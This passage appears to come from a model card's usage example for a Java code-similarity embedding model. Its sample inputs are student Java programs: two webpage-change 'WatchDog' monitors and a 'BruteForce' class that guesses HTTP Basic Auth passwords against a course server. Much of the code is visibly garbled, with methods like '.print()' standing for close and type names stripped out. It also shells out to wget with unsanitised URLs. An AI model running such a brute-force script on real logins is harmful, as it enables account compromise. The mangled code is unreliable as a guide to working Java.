targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        